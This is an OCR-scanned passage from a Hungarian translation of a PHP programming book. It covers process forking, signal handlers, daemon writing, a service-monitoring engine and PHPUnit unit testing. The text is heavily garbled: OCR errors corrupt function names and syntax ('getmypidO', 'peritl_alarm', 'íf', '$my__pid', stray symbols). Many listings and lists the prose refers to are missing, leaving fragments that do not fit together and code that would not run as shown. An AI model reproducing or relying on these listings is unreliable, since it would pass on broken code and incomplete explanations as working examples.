ja a végrehajtást. Ez azt jelenti, hogy a programból két futó példányunk lesz: a szülőiaz
eredeti folyamat) és a gyermek (az újonnan létrehozott folyamat).
A pcntl_f ork () tényleg kétszer tér vissza - egyszer a szülőben, egyszer a gyermekben.
A szülőben a visszatérési érték az újonnan létrehozott gyermek folyamatazonosítója (pro-
cess ID, PID), a gyermekben pedig 0. Ennek alapján különböztethetjük meg a szülőt
a gyermektől.
136 PHP fejlesztés felsőfokon
#!/usr/bin/env php
<?php
if($pid = pcntl_fork()) {
$my_pid = getmypid() ;
print "My pid is $my_pid. pcntl_fork() return $pid, this is the
parent\n";
} else {
$my_pid = getmypidO;
print "My pid is $my_pid. pcntl_fork() returned 0, this is the
child\n";
}
?>
> . / 4.php
My pid is 4286. pcntl_fork() return 42 87 , this is the parent
My pid is 4287. pcntl_fork() returned 0, this is the child
Változók megosztása
Ne feledjük: a leágaztatott folyamatok nem szálak. A pcntl_f ork () -kai létrehozott fo-
lyamatok önálló folyamatok, így a leágaztatás után az egyik folyamatban végrehajtott vál-
tozómódosítások nem tükröződnek a többi folyamatban. Ha változókat szeretnénk meg-
osztani folyamatok között, tárolásukra a megosztott memória bővítményeket vagy a 2. fe-
jezetben bemutatott „tie" trükköt használhatjuk.
Mindkét függvény $options változója egy nem kötelező bitmező, amelyben az alábbi
két paraméter egyike lehet:
íme egy folyamat, amely megadott számú gyermekfolyamatot indít, majd befejeződé-
sükre vár:
# !/usr/bin/env php
<?php
else {
$children[] = $pid;
}
}
foreach($children as $pid) {
$pid = pcntl_wait($status);
íf(pcntl_wifexited($status)) {
$code = pcntl_wexitstatus ($status) ,-
print "pid $pid returned exit code: $code\n";
}
else {
print "$pid was unnaturally terminated\n";
}
}
function child_main()
{
$my__pid = getmypid () ;
print "Starting child pid: $my_pid\n";
sleep(10) ;
return 1; ^
?>
> . / 5 .php
Starting child pid 4459
Starting child pid 4460
Starting child pid 4461
Starting child pid 4462
Starting child pid 4463
4462 was unnaturally terminated
pid 4463 returned exit code: 1
pid 4461 returned exit code: 1
pid 4460 returned exit code: 1
pid 4459 returned exit code: 1
Jelzések
A jelzések (signal) egyszerű utasításokat küldenek a folyamatoknak. Amikor a ki 11 héj-
paranccsal leállítunk egy folyamatot a rendszeren, valójában egy megszakítási jelzést kül-
dünk (SIGINT). A legtöbb jelzésnek van alapértelmezett viselkedése (a SlGINT-é például
a folyamat befejezése), de pár kivételtől eltekintve a jelzések elfoghatok és egy folyama-
ton belül egyéni módon kezelhetők.
Az alábbi listában a leggyakoribb jelzéseket soroltuk fel (a teljes lista a signal(3) súgóolda-
lon található):
Saját jelzéskezelőt úgy jegyeztethetünk be, hogy egyszerűen meghatározunk egy függ-
vényt, valahogy így:
function sig_usrl($signal)
{
print "SIGUSR1 Caught.Xn";
}
140 PHP fejlesztés felsőfokon
declare(ticks=l);
pcntl_signal(SIGUSR1, "sig_usrl");
Mivel a jelzések folyamatszinten érkeznek, nem pedig magán a PHP virtuális gépén belül,
a motort utasítani kell arra, hogy figyelje őket és futtassa a pcntl visszahívható függvé-
nyeket. Ehhez be kell állítanunk a ticks végrehajtási utasítást (direktívát). A ticks arra
utasítja a motort, hogy minden N utasítás után futtasson bizonyos visszahívható függvé-
nyeket. A jelzésvisszahívás lényegében üres utasítás, így a declare (ticks = l) azt
mondja a motornak, hogy minden végrehajtott utasítás után jelzést kell keresnie.
SIGCHLD
A SIGCHLD szokványos jelzéskezelő, amit olyan alkalmazásokban állítunk be, ahol több
gyermeket indítunk. Az előző rész példáiban a szülőnek újra és újra meg kellett hívnia
a pcntl_wait () és pcntl_waitpid () függvényeket, hogy valamennyi gyermek be-
gyűjtéséről gondoskodhasson. A jelzések révén a gyermekfolyamatok befejeződésének
eseményéről értesíthetjük a szülőfolyamatot, hogy tudja, gyermekeket kell begyűjtenie.
A szülőfolyamat így saját logikát hajthat végre, nem kell, hogy csak várakozzon a gyerme-
kek begyűjtésére.
Először meg kell határoznunk egy visszahívható függvényt a SIGCHLD események keze-
lésére, íme egy egyszerű példa, amelyben eltávolítjuk a PID-et a globális $children
tömbből, illetve kiírunk némi információt arról, mit is csinálunk:
function sig_child($signal)
{
global $children;
pcntl_signal(SIGCHLD, "sig_child");
fput s(STDERR, "Caught SIGCHLD\n") ;
while(($pid = pcntl_wait($status, WNOHANG)) > 0) {
$children = array_diff($children, array($pid));
fputs(STDERR, "Collected pid $ p i d \ n " ) ;
}
}
A SIGCHLD jelzés semmilyen információt nem szolgáltat arról, hogy melyik gyermekfo-
lyamat fejeződött be, ezért meg kell hívnunk a pcntl_wait () -et, hogy megkeressük.
Mivel a jelzéskezelő hívása közben több folyamat is befejeződhet, a pcntl_wait () hí-
5. fejezet • Megvalósítás PHP nyelven: önálló programok 141
vasnak addig kell ismétlődnie, amíg nem marad futó folyamat, hogy biztosak lehessünk
benne, hogy mindet begyűjtöttük. A WNOHANG kapcsolót használjuk, ezért a hívás nem
akad el a szülőfolyamatban.
#!/usr/bin/env php
<?php
declare(ticks=l);
pcntl_signal(SIGCHLD, "sig_child");
while($children) {
sleep(lO); // vagy valamilyen szülőkód végrehajtása
}
peritl_alarm(0) ;
function child_main()
{
sleep(rand(0, 10)); // vagy valamilyen gyermekkód végrehajtása
return 1;
}
function sig_child($signal)
{
global $children;
pcntl_signal(SIGCHLD, "sig_child");
fputs(STDERR, "Caught SIGCHLD\n");
while( ( $ p i d = pcntl_wait($status, WNOHANG)) > 0) {
$children = array_diff($children, array($pid));
if (!pcntl_wifexited($status)) {
fputs(STDERR, "Collected killed pid $ p i d \ n " ) ;
}
142 PHP fejlesztés felsőfokon
else {
fputs(STDERR, "Collected exited pid $ pi d \n " );
}
}
}
?>
> ./8.php
Caught SIGCHLD
Collected exited pid 5000
Caught SIGCHLD
Collected exited pid 5003
Caught SIGCHLD
Collected exited pid 5001
Caught SIGCHLD
Collected exited pid 5002
Caught SIGCHLD
Collected exited pid 5004
SIGALRM
Egy másik hasznos jelzés a SIGALRM, a riasztó jelzés. A riasztások (alarm) lehetővé
teszik, hogy kihátráljunk egy feladatból, ha annak végrehajtása túl sokáig tartana. Riasz-
tás használatához meg kell határoznunk egy jelzéskezelőt, be kell jegyeztetnünk, majd
a pcntl_alarm() hívásával be kell állítanunk az időzítést. Amikor a megadott idő lejár,
a folyamathoz SIGALRM jelzés érkezik.
íme egy jelzéskezelő, ami végigfut a $children-ben maradt PID-eken, és (a Unix kill
héjparancsával egyenértékű) SIGINT jelzést küld nekik:
function sig_alarm($signal)
{
global $children;
fputs(STDERR, "Caught SIGALRM\n");
foreach ($children as $pid) {
posix_kill($pid, SIGINT);
}
}
declare(ticks=l);
pcntl_signal(SIGCHLD, "sig_child");
pcntl_signal(SIGALRM, "sig_alarm");
define('PROCESS_COUNT', '5');
$children = array();
pcntl_alarm(5);
for($i =0; $i < PROCESS_COUNT; $i++) {
if(($pid = pcntl_fork()) == 0) (
exit (child__main () ) ;
}
else {
$children[] = $pid;
}
}
while($children) {
sleep(lO); // vagy valamilyen szülőkód végrehajtása
}
pcntl_alarm(0);
Fontos, hogy ne felejtsük el a riasztási időzítőt 0-ra állítani, amikor már nincs rá szükség,
másképp akkor is el fog indulni, amikor nem számítunk rá. A programot az említett mó-
dosításokkal futtatva az alábbi kimenetet kapjuk:
> . /9.php
Caught SIGCHLD
Collected exited pid 5011
Caught SIGCHLD
Collected exited pid 5013
Caught SIGALRM
Caught SIGCHLD
Collected killed pid 5014
Collected killed pid 5012
Collected killed pid 5010
Az említetteken kívül más jelzésekhez is szükség lehet kezelőkre; ilyen szokványos kezelők
a SIGHUP, a SIGUSR1 és a SIGUSR2. Ha egy folyamathoz e jelzések bármelyike érkezik, az
alapértelmezett viselkedés a folyamat befejezése. A SIGHUP küldésére akkor kerül sor, ha
a terminállal megszakad a kapcsolat (amikor a héj kilép). A héj háttérben futó folyamatai jel-
lemzően akkor fejeződnek be, amikor az adott terminál munkamenetéből kijelentkezünk.
pcntl_signal(SIGHUP, SIGIGN);
Az említett három jelzés figyelmen kívül hagyásánál gyakoribb, hogy egyszerű parancsok
küldésére használjuk őket, például hogy a folyamat újraolvasson egy beállítófájlt, újból
megnyisson egy naplófájlt vagy valamilyen állapotinformációt írjon ki.
Démonok írása
A démonok olyan folyamatok, amelyek a háttérben futnak, ami azt jelenti, hogy ha egy-
szer elindultak, nem fogadnak bemenetet a felhasználó termináljáról, és nem lépnek ki,
amikor a felhasználó munkamenete befejeződik.
Elindításuk után a démonok hagyományosan „örökké" futnak (amíg le nem állítják őket),
hogy rendszeresen ismétlődő feladatokat hajtsanak végre, vagy olyan feladatokat, ame-
lyek nem érnek véget a felhasználó munkamenetével. Az Apache webkiszolgáló,
a sendmail, illetve a crond szokványos démonok, amelyek valószínűleg az olvasó gé-
pén is futnak. A parancsállományokból démonokat készíteni akkor célszerű, ha hosszú
vagy a háttérben ismétlődő feladatokat kell elvégeznünk.
Ahhoz, hogy sikeresen démont készíthessünk belőle, egy folyamatnak az alábbi két fel-
adatot kell végrehajtania:
• Folyamatelválasztás
• Folyamatfüggetlenítés
• Munkakönyvtár beállítása
• Kiváltságok megszüntetése
• A kizárólagosság biztosítása
5. fejezet • Megvalósítás PHP nyelven: önálló programok 145
Végül, ahhoz, hogy elvághassunk minden köteléket a szülő és a gyermek között, a folya-
matot még egyszer le kell ágaztatnunk; ezzel válik az elválasztás teljessé. Kódban mindez
így fest:
r-
if(pcntl_fork()) {
exit ;
}
pcntl_setsid();
if(pcntl_fork()) {
exit ;
}
# a folyamat most már démon
Fontos, hogy a szülő a pcntl_f ork () mindkét hívása után kilépjen, másképp több fo-
lyamat fogja végrehajtani ugyanazt a kódot.
A munkakönyvtár megváltoztatása
Amikor démont írunk, általában tanácsos beállítatni vele a munkakönyvtárát. így ha bár-
milyen fájlból relatív elérési úton keresztül olvasunk, vagy így írunk bele, az állományt ott
találjuk, ahol számítunk rá. Az elérési út minősítése önmagában is mindig jó ötlet, ahogy
a védekező kódolás is. A munkakönyvtár megváltoztatásának legbiztonságosabb módja,
ha nem csak a chdir (), hanem a chroot () utasítást is használjuk.
<?php
?>
A kiváltságok feladása
A Unix démonok írásakor szokásos biztonsági intézkedés, hogy megszüntetünk minden fe-
lesleges kiváltságot. A szükségtelen jogosultságok birtoklása ugyanolyan biztonsági kocká-
zatot jelent, mintha hozzáférnénk az adott területen kívül eső állományokhoz. Ha a kód-
nak (vagy magának a PHP-nek) van valamilyen kiaknázható gyengesége, a veszélyt azzal
csökkenthetjük a lehető legkisebbre, ha a démont azon felhasználó nevében futtatjuk, aki-
nek a legkevesebb jogosultsága van fájlok módosítására a rendszeren.
$pw= posix_getpwnam('nobody');
posix_setuid($pw[' u i d ' ]);
posix_setgid($pw['gid' ] ) ;
A kizárólagosság biztosítása
Gyakran lehet szükség arra, hogy egy programnak egyszerre csak egyetlen példánya fut-
hasson. Démon készítésekor ez különösen fontos, mert a háttérben futás miatt könnyű
véletlenül több példányt meghívni.
A kizárólagosság biztosításának szabványos módja egy fájl (általában egy kizárólag erre
a célra használt zárolófájl) zárolása az f lock () függvénnyel. Ha a zárolás nem sikerül,
a programnak hibaüzenettel ki kell lépnie. íme egy példa:
A naplózónak támogatnia kell tetszőleges szolgáltatások (például a HTTP vagy az FTP) fi-
gyelését, és képesnek kell lennie arra, hogy az eseményeket tetszőleges módon (elektro-
nikus levélbe írva, naplófájlba rögzítve stb.) naplózza. Természetesen démonként szeret-
nénk futtatni, ezért tudnunk kell lekérdezni az aktuális állapotát.
const FAILURE = 0;
const SUCCESS = 1;
A legfontosabb megvalósítandó függvény a run (), amely meghatározza, hogyan kell fut-
tatni a figyelőt. Ha a szolgáltatáskeresés sikerrel jár, SUCCESS-t, ha nem, FAILURE-t ad
vissza.
A post_run () tagfüggvény meghívására azután kerül sor, hogy a run () -ban meghatá-
rozott szolgáltatásfigyelő visszatért. Feladata az objektum állapotának beállítása, illetve
a naplózás.
A ServiceLogger felület szerint egy naplózó osztálynak csak két tagfüggvényt kell meg-
valósítania - log_service_event () és log_current_status () -, amelyek akkor hí-
vódnak meg, amikor a run () figyelője visszatér, illetve általános állapotkérés érkezik.
interface ServiceLogger {
public function log_service_event(ServiceCheck $service);
public function log_current_status(ServiceCheck $service);
}
150 PHP fejlesztés felsőfokon
Végül meg kell írnunk magát a motort. Az alapötlet hasonló, mint a fejezet Démonok írá-
sa című részében szereplő egyszerű programoknál: a kiszolgáló új folyamatot ágaztat le
az egyes ellenőrzések végrehajtására, és egy SIGCHLD kezelővel ellenőrzi azok visszaté-
rési értékét. Az egyszerre végrehajtható ellenőrzések száma beállítható kell legyen, hogy
megakadályozzuk a rendszer erőforrásainak kimerítését. Minden szolgáltatást és naplózást
egy XML fájlban határozunk meg.
class ServiceCheckRunner {
priváté $num_children;
priváté $services = array();
priváté $children = array();
Ez egy meglehetősen kidolgozott osztály. A konstruktőr beolvas és feldolgoz egy XML ál-
lományt, ezáltal létrehozza a figyelendő szolgáltatásokat, illetve az azokat rögzítő napló-
zókat. A részletekre hamarosan kitérünk.
A figyelőrendszer önmagában persze nem csinál semmit; működéséhez legalább egy fi-
gyelendő szolgáltatásra van szükség. Az alábbi osztály azt ellenőrzi, hogy egy HTTP ki-
szolgálótól 200 Server OK választ kaptunk-e:
Példaként lássunk egy olyan ServiceLogger folyamatot, amely e-mailben értesíti az ille-
tékest, ha egy szolgáltatás leáll:
Ötnél több sikertelen próbálkozás esetén a folyamat egy tartalék címre is üzenetet küld.
A log_current_status () tagfüggvényt nem tölti meg tartalommal.
154 PHP fejlesztés felsőfokon
<loggers>
<logger>errorlog</logger>
<logger>emailme</logger>
</loggers>
</service>
<service>
<class>HTTP_ServiceCheck</class>
<params>
<description>Home Page HTTP Check</description>
<url>http://www.schlossnagle.org/~george</url>
<timeout>3 0</timeout>
<freguency>3 6 0 0 < / f requency>
</params>
<loggers>
<logger>errorlog</logger>
</loggers>
</service>
</services>
</config>
Amikor megkapja ezt az XML állományt, a ServiceCheckRunner konstruktora minden
megadott naplózóból példányt készít, majd az egyes szolgáltatások számára ServiceCheck
objektumpéldányokat hoz létre.
Megjegyzés
A létrehozott motor használatához még szükséges némi burkoló kód. A figyelőnek meg kell
akadályoznia, hogy kétszer is elindíthassuk, és így minden eseményről kétszer küldjünk
üzenetet. Emellett bizonyos kapcsolókat is el kell fogadnia, többek között a következőket:
Kapcsoló Leírás
[-f ]______ A motor beállítófájljának helye; alapértelmezés szerint monitor .xml._________
[-n] A gyermekfolyamat-gyűjtőtárnak a motor által megengedett mérete; az alap-
__________ értelmezett érték 5._________________________________________________
[-d] A motor démonná tételét megakadályozó jelző. Akkor lehet rá szükség, ha
hibakereső ServiceLogger folyamatot szeretnénk írni, ami az információ-
__________ kat a stdout-ra vagy a stderr-re írja.____________________________________
156 PHP fejlesztés felsőfokon
require_once "Service.inc";
require_once "Console/Getopt.php";
$shortoptions = "n:f:d";
$default_opts = array('n' => 5, ' £ ' => 'monitor.xml') ;
$args = getOptions($default_opts, $shortoptions, null);
Ezzel létrehoztuk a démont, ami a szolgáltatások figyelését addig folytatja, amíg a számí-
tógépet le nem állítják vagy a programot le nem lövik.
A program meglehetősen összetett, ennek ellenére lehet még javítani rajta - de az alábbi
feladatokat gyakorlásképpen az Olvasóra hagyjuk:
További olvasmányok
A PHP nyelvű héjprogramozással kapcsolatban nem sok forrás lelhető fel; a Perl a fel-
ügyeleti feladatok terén sokkal nagyobb múltra tekinthet vissza. Dávid N. Blank-Edelman
könyve, a Perl for Systems Administration összeszedett szöveg, a két nyelv szabályai és
szolgáltatásai között pedig van annyi hasonlóság, hogy a kötetben szereplő Perl nyelvű
példákat könnyen átültethessük PHP-re.
Aphp \architect című elektronikus (illetve most már nyomtatásban is elérhető) folyóirat-
ból Marco Tabini remek cikkét ajánljuk, amelyet a PHP, illetve az ncurses bővítmény se-
gítségével épített interaktív, terminál alapú alkalmazásokról írt. (Volume 1, Issue 12. Elér-
hető a http: //www.phparch. com címen.)
Bár itt sajnos nincs elegendő hely a tárgyalására, a PHP-GTK kétségkívül érdekes
vállalkozás, amely grafikus felületű asztali alkalmazások készítésére irányul PHP
nyelven, a GTK grafikus elemkészlet segítségével. A PHP-GTK-ról bővebb információt
a http: / /gtk. php. net címen találunk.
Minden kódot ellenőrizni kell valamikor - megvalósítás közben, kifejezetten tesztelési lé-
pésben, vagy üzembe helyezéskor. Minden fejlesztő, akinek a keze közül került már ki hi-
bás kód, tudja, hogy könnyebb megtalálni a hibát fejlesztés közben, mint „élőben", műkö-
dés közben.
Számos kifogás létezik arra, hogy valaki miért is nem teszteli a kódot, mielőtt túl késő len-
ne. Ezek a legnépszerűbbek:
• Szorít a határidő.
• Az én kódom mindig működik elsőre is.
• Az én gépemen tökéletesen fut a kód.
Vizsgáljuk meg a fenti kifogásokat. Először is, a tempó általában azért feszített, mert nem
mindegy, hogy előbb vagy később tesztelünk: a kód stabillá és működőképessé tételéhez
szükséges tesztelés mennyisége egyenesen arányos a megírt kóddal, vagyis a korai és ké-
sői tesztelés nem azonos költségű műveletek. A hibakeresést két dolog nehezíti:
Másodszor, minden szoftver tartalmaz hibákat. Aki azt állítja, hogy az ő programjai mindig
hibamentesek, álomvilágban él.
Bár az említett gondok megoldására nem létezik csodaszer, egy jó egységtesztelő infrast-
ruktúra sokat segíthet. Az egység (unit) a kód egy kisméretű önálló része, például egy
függvény vagy osztálymetódus. Az egységtesztelés a kód ellenőrzésének olyan formális
megközelítése, amelyben egy alkalmazás minden összetevőjéhez (vagyis minden egység-
hez) egy-egy teszthalmaz tartozik. Ha ezen tesztek végrehajtására van egy automatizált
keretrendszerünk, az alkalmazást folyamatosan és következetesen ellenőrizhetjük, így
gyorsan azonosíthatjuk a hibákat, és értékelhetjük egy újraépítés hatását a program más
részeire. Az egységtesztelés nem pótolja a teljes alkalmazástesztelést, csak kiegészíti azt,
hogy rövidebb udő alatt stabilabb kódot készíthessünk.
Megjegyzés
Bevezetés az egységtesztelésbe
Egy sikeres egységtesztelő keretrendszernek rendelkeznie kell bizonyos tulajdonságokkal,
többek között a következőkkel:
Első egységtesztünk
Az egységtesztek úgynevezett tesztesetek gyűjteményei. A teszteset feladata egy adott for-
gatókönyv kimenetelének ellenőrzése. A forgatókönyv olyan egyszerű is lehet, mint egy
függvény eredményének tesztelése, de ellenőrizhetjük egy bonyolult művelethalmaz
eredményét is.
162 PHP fejlesztés felsőfokon
A legegyszerűbb tesztesetek egyetlen tesztet valósítanak meg. írjunk most egy olyan tesz-
tet, ami egy egyszerű levélcím-feldolgozó viselkedését ellenőrzi. A feldolgozó egy RFC
822-megfelelő elektronikus levélcímet bont annak összetevőire.
class EmailAddress {
public $localPart;
public $domain;
public $address;
public function _____ construct($address = null) {
if($address) {
$this->address = $address;
$this->extract();
}
}
protected function extract() {
list ($this->localPart, $this->domain) = explode("@",
$this->address) ;
}
}
A fenti kód tesztelésére létrehozunk egy TestCase nevű osztályt, ami egy olyan tag-
függvényt tartalmaz, ami ellenőrzi, hogy egy ismert e-mail címet helyesen bontottunk-e
összetevőkre:
require_once "EmailAddress.inc";
require_once 'PHPUnit/Framework/TestClass.php';
require_on.ce "PHPUnit/TextUI/TestRunner" ;
PHPUnit_TextUI_TestRunner::run($suite);
Time: 0.00156390666962 ^
OK (1 test)
Meg kell jegyeznünk, hogy ha a csomaghoz az addTest használatával adunk több tesz-
tet, azok abban a sorrendben futnak le, amelyben hozzáadtuk őket. Ha a teszteket auto-
matikusan jegyezzük be, bejegyzésük a get_class_methods () által visszaadott sor-
rendben történik. (A TestSuite ezzel a függvénnyel nyeri ki automatikusan a tesztelő
függvényeket.)
Mi történik itt? A blokk elején ellenőrizzük, hogy a fájlt közvetlenül vagy (az include-
dal) beemelt kódként hajtjuk-e végre. A $_SERVER [' PHP_SELF ' ] automatikus változó,
amely a végrehajtás alatt álló program nevét adja meg.
A realpath ( $_SERVER [ ' PHP_SELF ' ] ) a fájl kanonikus abszolút elérési útját adja
vissza, a___FILÉ__ pedig - ami egy automatikusan meghatározott állandó - az aktuális
fájl kanonikus nevét. Ha a kettő megegyezik, az azt jelenti, hogy a fájlt közvetlenül hívták
meg; ha különböznek, include hívásról van sző. Ezután a szokásos egységtesztelő kód
következik, majd a tesztek meghatározása, bejegyzése és futtatása.
A kanonikus elérési útban nem szerepelnek a következő jelek: /. ./, /./ és //.
A realpath () függvénynek egy relatív vagy abszolút elérési utat kell átadnunk,
amit az kanonikus abszolút elérési úttá alakít. Ilyen elérési út például
a /home/george/scripts/valami.php.
166 PHP fejlesztés felsőfokon
Time: 0.003005027771
OK (2 tests)
Önálló tesztek
A beágyazott tesztek hátrányait figyelembe véve célszerű másik módszert választani, és
a teszteket önálló állományokba helyezni. Az ilyen külső tesztek megvalósítására számos
megközelítés létezik. Egyesek minden könyvtármappában létrehoznak egy t vagy tests
nevű alkönyvtárát, amelybe a tesztkódokat helyezik. (Ez a Periben a regressziós tesztek
szabványos módszere, amit újabban a PHP forrásépítő fa tesztelésére is átvettek.) Mások
tesztjeiket közvetlenül a forrásfájlok mellé teszik. Szervezési szempontból mindkét mód-
szernek vannak előnyei, úgyhogy a döntés inkább csak a személyes ízlésünkön múlik. Mi
a második megközelítésnél maradunk, hogy a példák világosak maradjanak. Minden
könyvtár. inc fájlhoz létre kell hoznunk egy könyvtár. phpt fájlt, amely tartalmazza
a számára meghatározott valamennyi PHPUnit_Framework_TestCase objektumot.
6. fejezet • Egységtesztelés 167
A tesztprogramban hasonló fogást alkalmazunk, mint amit a fejezet korábbi részében: be-
csomagoljuk a PHPUnit_Framework_TestSuite létrehozását és lefuttatunk egy ellen-
őrzést, hogy lássuk, a tesztkód végrehajtása közvetlenül történik-e. így könnyen futtathat-
juk a fájlban található teszteket (közvetlen végrehajtással), vagy beemelhetjük azokat egy
nagyobb tesztbe.
<?php
require_once "EmailAddress.inc";
require_once 'PHPUnit/Framework/TestSuite.php';
require_once 'PHPUnit/TextUI/TestRunner.php';
Time: 0.0028760433197
OK (2 tests)
168 PHP fejlesztés felsőfokon
Én lusta vagyok, és úgy vélem, a legtöbb fejlesztő az - ami nem feltétlenül baj. Egy egysze-
rű regressziós tesztet írni könnyű, így ha a teljes alkalmazást nem tudom könnyen ellen-
őrizni, ellenőrzöm azt a részét, amelyiket könnyen lehet. Szerencsére a TestCase objektu-
mokat egyszerű összefogni egy nagyobb regressziós tesztben. Ha egyetlen teszt részeként
több TestCase objektumot szeretnénk futtatni, osztályaikat az addTestSuite () tag-
függvénnyel adhatjuk a csomaghoz. Lássuk, hogyan:
<?php
require_once "EmailAddress.phpt";
require_once "Text/Word.phpt";
require_once "PHPUnit/Framework/TestSuite.php";
require_once "PHPUnit/TextUI/TestRunner.php";
PHPUnit_TextUI_TestRunner::run($suite);
?>
<?php
require_once "TestHarness.php";
require_once "PHPUnit/TextUI/TestRunner.php";
A szolgáltatások túltengése
.F.
Time: 0.00583696365356
There was 1 failure:
1) TestCase emailaddresstestcase->testlocalpart() failed:
expected true, actual falsé
FAILURES!!!
Tests run: 2, Failures: 1, Errors: 0.
Egy informatívabb hibaüzenet létfontosságú lehet, hogy megértsük, hol akadt el a prog-
ram, és mire utal a hiba, különösen ha egy tesztet többször, különböző adatokkal isméte-
lünk. A beszédesebb hibaüzenetek könnyebb létrehozását segítendő, a TestCase által
a PHPUnit: :Assert-től örökölt assert függvények támogatják a szabadon meghatá-
rozható hibaüzeneteket. Vegyük például a következő kódot:
function testLocalPart () {
$email = new EmailAddress("georg@omniti.com") ;
// ellenőrizzük, hogy a cím helyi része 'george'-e
$this->assertTrue($email->localPart == 'george');
}
6. fejezet • Egységtesztelés 171
function testLocalPart() {
$email = new EmailAddress("georg@omniti.com");
// ellenőrizzük, hogy a cím helyi része 'george'-e
$this->assertTrue($email->localPart == ' geor g 1 ,
"localParts: $email->localPart of $email->address != 'george'");
}
.F.
Time: 0.00466096401215
There was 1 failure:
1) TestCase emailaddresstestcase->testLocalPart() failed:
localParts: george of george@omniti.com != georg
FAILURES! ! !
Tests run: 2, Failures: 1, Errors: 0.
Ha a kettő nem egyenértékű, hiba keletkezik, amihez üzenet is tartozhat. Vegyük például ezt:
$this->assertEquals($email->localPart, 'george');
172 PHP fejlesztés felsőfokon
A következő kód nem jár sikerrel, és hibaüzenetet adhat, ha a $ob j ect nem null:
assertFalse($condition, $message='')
pass ()
Figyelők hozzáadása
Amikor végrehajtjuk a PHPUnit_TextUI_TestRunner: : run () függvényt, az egy
PHPUnit_Framework_TestResult objektumot hoz létre, amelyben a tesztek eredményei
tárolódnak majd, és hozzákapcsol egy figyelőt, amely a PHPUnit_Framework_Test-
Listener felületet valósítja meg. A figyelő feladata az esetleges kimenet előállítása, illetve
értesítés küldése a teszteredmények alapján.
Hogy jobban lássuk, miről is van szó, az alábbiakban myTestRunner () néven megte-
kinthetjük a PHPUnit_TextUI_TestRunner: : run () egyszerűsített változatát. Ez
a függvény ugyanúgy hajtja végre a teszteket, mint a TextUI, de hiányzik belőle a koráb-
bi példákban fellelhető időzítés:
require_once "PHPUnit/TextUI/ResultPrinter.php";
require_once "PHPUnit/Framework/TestResult.php";
function myTestRunner($suite)
{
$result = new PHPUnit_Framework_TestResult;
$textPrinter = new PHPUnit_TextUI_ResultPrinter;
$result->addListener($textPrinter);
$suite->run($result);
$textPrinter->printResult($result);
}
<?php
require_once "PHPUnit/Framework/TestListener.php";
Ez a figyelő úgy működik, hogy összegyűjt minden hibaüzenetet, amit egy teszt ad. Ami-
kor a teszt befejeződött, az endTest () meghívására, és az üzenet továbbítására kerül sor.
Ha a kérdéses tesztnek van owner tulajdonsága, a figyelő az annak megfelelő címet hasz-
nálja, ha nincs, a developers@example. foo alapértelmezést.
Ha ezt a figyelőt támogatni szeretnénk a myTestRunner () -ben, csak annyit kell ten-
nünk, hogy hozzáadjuk az addListener () függvénnyel:
function myTestRunner($suite)
{
$result = new PHPUnit_Framework_TestResult;
$textPrinter = new PHPUnit_TextUI_ResultPrinter;
$result->addListener($textPrinter);
$result->addListener(new EmailAddressListener) ;
$suite->run($result);
$textPrinter->printResult($result);
}
176 PHP fejlesztés felsőfokon
Tesztvezérelt tervezés
Alapvetően három időpontban írhatunk teszteket: megvalósítás előtt, megvalósítás köz-
ben és megvalósítás után. Kent Beck, a JUnit szerzője, az extrém programozás elismert
szakértője azt mondja: „soha ne írjunk egyetlen sor kódot sem, amíg nincs egy meghiúsult
tesztesetünk". Ez azt jelenti, hogy mielőtt bárminek a megvalósításába belekezdenénk
(vagyis új kódot írnánk), határozzunk meg valamilyen hívási felületet a kód számára, és
írjunk egy tesztet, ami a várt működést ellenőrzi. Mivel még nincs kód, amit ellenőrizhet-
nénk, a teszt természetesen nem jár sikerrel. A lényeg az, hogy meghatározzuk, milyen vi-
selkedést kell mutatnia a kódnak a végfelhasználó felé, és előre végiggondoljuk, milyen
típusú bemenetet és kimenetet kell kapnia. Ez elsőre szélsőséges megoldásnak tűnhet, de
a tesztvezérelt fejlesztésnek (test-driven development, TTD) számos előnye van:
tarozását. Azzal, hogy a program követelményeit megvalósító teszteket írunk, nem csak
magasabb színvonalú kódot kapunk, hanem csökkentjük annak az esélyét is, hogy a kö-
vetelmények leírásakor véletlenül kihagyunk valamit.
A Flesch pontszámító
Rudolf Flesch nyelvész volt, aki a nyelvmegértést tanulmányozta, főként az angol nyelvvel
kapcsolatban. Flesch azzal kapcsolatos munkája, hogy mitől válik olvashatóvá egy szö-
veg, illetve hogyan tanulnak meg (vagy nem tanulnak meg) egy nyelvet a gyerekek, ösz-
tönözte Theodor Seuss Geiselt is (Dr. Seuss-t) kitűnő gyerekkönyvei, például a The Cat in
the Hat megírására. Flesch 1943-ban, a Columbia Egyetemen írt doktori disszertációjában
egy olvashatósági indexet állított fel, amely a szöveg elemzése alapján megállapítja annak
bonyolultsági fokát. A Flesch indexet ma is széles körben használják szövegek olvasható-
ságának osztályozására.
<?php
require "PHPUnit/Framework/TestSuite.php";
require "PHPUnit/TextUI/TestRunner.php";
require "Text/Word.inc";
'programmer' => 3) ;
Ez a teszt természetesen nem jár sikerrel, hiszen még nincs Word osztályunk, de hamaro-
san erre is rátérünk. A Word számára megadott felület olyan, ami kézenfekvőnek látszik,
de ha a szótagszámlálásra nem bizonyul elégségesnek, majd kibővíthetjük.
A következő lépés, hogy megvalósítsuk a Word osztályt, ami már sikerrel veszi a tesztet:
<?php
class Text_Word {
public $word;
public function __ construct($name) {
$this->word = $name;
}
protected function mungeWord($scratch) {
// az egyszerűség kedvéért kisbetűs
6. fejezet • Egysógtesztelés 179
$scratch = strtolower($scratch);
return $scratch;
}
protected function numSyllables() {
$scratch = mungeWord($this->word) ;
// A szavakat elválasztjuk a magánhangzóknál (a, e, i, o, u,
»* illetve y).
$fragments = preg_split("/[Aaeiouy]+/", $scratch);
//A tömb mindkét végét kitakarítjuk, ha null elemek
szerepelnek ott.
if(!$fragments[0]) {
array_shift($fragments);
}
if (!$fragments[count($fragments) -1 ]) {
array_pop($fragments);
}
return count($fragments);
}
}
?>
Ezeknek a szabályoknak a laté nem felel meg. Ha egy angol szó mássalhangzó utáni e-re
végződik, az e általában nem számít önálló szótagnak (ellenben az y vagy az ie igen),
ezért az esetleges e végződéseket el kell távolítanunk. íme ennek a kódja:
function mungeWord($scratch) {
$scratch = strtolower($scratch);
$scratch = preg_replace("/e$/", "", $scratch);
return $scratch;
}
A teszten most a the bukik meg, amelyben a záró e eltávolítása után nem marad magán-
hangzó. Ezt úgy kezelhetjük, hogy biztosítjuk, hogy a teszt mindig visszaad legalább egy
szótagot:
function numSyllables() {
$scratch = mungeWord($this->word);
// A szavakat elválasztjuk a magánhangzóknál (a, e, i, o, u,
illetve y).
